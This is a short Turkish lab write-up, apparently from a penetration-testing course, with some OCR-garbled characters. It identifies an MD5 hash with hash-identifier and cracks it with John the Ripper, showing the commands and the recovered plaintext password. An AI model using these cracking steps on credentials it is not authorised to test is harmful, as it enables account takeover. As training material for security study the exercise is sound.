18.1: Hash tiiriinii belirleme ve kirma
Amag: Elde edilen hash'in tiiriinii belirlemek ve kirmak
Lab Senaryosu: Elde edilen hash'in tiirii hash-identifier ile belirlenir.
Kullamilan isletim sistemi:

- Kali Linux

Kullanilan Araclar:

- hash-identifier

- john

Adimlar:

1. Adim

Elde edilen hash'in tiirii hash-identifier ile belirlenir.
Komut: hash-identifier

Cikusi:

HASH: f4b95a9ffd4b40e166c0b796292927ba

Possible Hashs:

[+] MD5

[+] Domain Cached Credentials — MD4(MD4(($pass)).(strtolower($username)))

2.Adim

Hash bir dosyaya yazilarak john ile kirma islemi gergeklestirilir. Hash'lenen ifadenin uzunluguna
gore kirma siiresi ¢ok uzayabilmektedir.

Komut: john hash --format=Raw-MD5

Ciktisi:

john hash.txt --format=Raw-MD5

Using default input encoding: UTF-8

Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
coslat (?)
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